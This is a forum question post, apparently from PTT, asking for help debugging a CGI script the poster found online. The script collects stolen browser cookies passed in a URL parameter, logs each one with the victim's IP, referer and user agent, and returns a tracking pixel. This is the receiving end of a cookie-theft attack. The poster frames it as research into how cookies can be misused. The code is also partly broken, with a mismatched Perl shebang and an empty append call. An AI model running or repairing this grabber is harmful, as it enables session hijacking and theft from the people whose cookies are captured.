[問題] 不知從何debug起
這是一個接收cookie資料用的程式碼
-----------------------------------------------------------------
#!c:\perl\bin\perl.exe
import os
import sys
import cgi
import datetime
if __name__ == "__main__":
log=[]
log.append(str(datetime.datetime.today()))
# get the cookie from url?c=asdf
form = cgi.FieldStorage()
if form.has_key("c"):
log.append(form["c"].value)
else:
log.append()
# get some request info
log.append(str(os.environ['REMOTE_ADDR']))
log.append(str(os.environ['HTTP_REFERER']))
log.append(str(os.environ['HTTP_USER_AGENT']))
# save the log array
f = os.open("cookielog.txt",os.O_APPEND|os.O_WRONLY)
os.write(f,",".join(log)+"\r\n")
os.close(f)
# write response
sys.stdout.write("Content-Type: image/gif\r\n\r\n")
pixel = os.open("../images/pixel.gif",os.O_RDONLY)
sys.stdout.write(os.read(pixel,1000))
os.close(pixel)
sys.stdout.flush()
-------------------------------------------------
因為我沒學過perl，這是網路上找到的sample code
當我的cgi server要接受資料執行到這隻程式時server的log檔就出現一堆錯誤了
為了研究cookie資料可以被人用到何種程度而需要用到這程式
希望有人能幫我debug~~感激不盡
--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 140.123.107.6
※ 編輯: starskgb 來自: 140.123.107.6 (06/18 22:23)
→
06/18 23:44, , 1F
06/18 23:44, 1F
推
06/18 23:44, , 2F
06/18 23:44, 2F
→
06/19 00:01, , 3F
06/19 00:01, 3F
推
06/19 02:02, , 4F
06/19 02:02, 4F
→
06/19 02:14, , 5F
06/19 02:14, 5F
推
06/19 03:12, , 6F
06/19 03:12, 6F
→
06/19 03:16, , 7F
06/19 03:16, 7F
→
06/19 03:17, , 8F
06/19 03:17, 8F
推
06/19 03:51, , 9F
06/19 03:51, 9F
→
06/19 17:41, , 10F
06/19 17:41, 10F